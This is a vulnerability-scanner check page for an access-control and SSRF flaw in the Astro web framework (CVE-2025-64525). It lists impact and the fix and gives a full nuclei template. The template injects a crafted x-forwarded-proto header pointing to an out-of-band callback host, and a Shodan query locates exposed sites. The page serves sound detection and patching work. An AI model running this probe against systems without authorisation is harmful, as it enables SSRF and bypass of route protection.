Astro - Broken Access Control

mediumseverity

1.2%likelihood of exploitation, next 30 days

70%of all CVEs are less likely

Readycheck to confirm it

Astro 2.16.0 to 5.15.5 contains a broken access control caused by insecure use of unsanitized x-forwarded-proto and x-forwarded-port headers in URL building, letting attackers bypass middleware protection, cause DoS, SSRF, and URL pollution, exploit requires crafted headers.

Impact

Attackers can bypass route protection, cause denial of service, perform SSRF, and pollute URLs leading to security bypasses and potential XSS.

Fix

Update to version 5.15.5 or later.

How to confirm it

Send: GET {{BaseURL}}/
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: Astro-Middleware" or "User-Agent: node"

Run it with nuclei: nuclei -id CVE-2025-64525 -u <target>

The full check

id: CVE-2025-64525

info:
  name: Astro - Broken Access Control
  author: zhero___,DhiyaneshDK
  severity: medium
  description: |
    Astro 2.16.0 to 5.15.5 contains a broken access control caused by insecure use of unsanitized x-forwarded-proto and x-forwarded-port headers in URL building, letting attackers bypass middleware protection, cause DoS, SSRF, and URL pollution, exploit requires crafted headers.
  impact: |
    Attackers can bypass route protection, cause denial of service, perform SSRF, and pollute URLs leading to security bypasses and potential XSS.
  remediation: |
    Update to version 5.15.5 or later.
  reference:
    - https://github.com/advisories/GHSA-hr2q-hp5q-x767
    - https://zhero-web-sec.github.io/research-and-things/astro-framework-and-standards-weaponization
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"_astro"
  tags: cve,cve2025,astro,ssrf,oast,oob,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    headers:
      x-forwarded-proto: "http://{{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Astro-Middleware"
          - "User-Agent: node"
        condition: or

References

Use this check only on systems you are authorised to test. Where the data comes from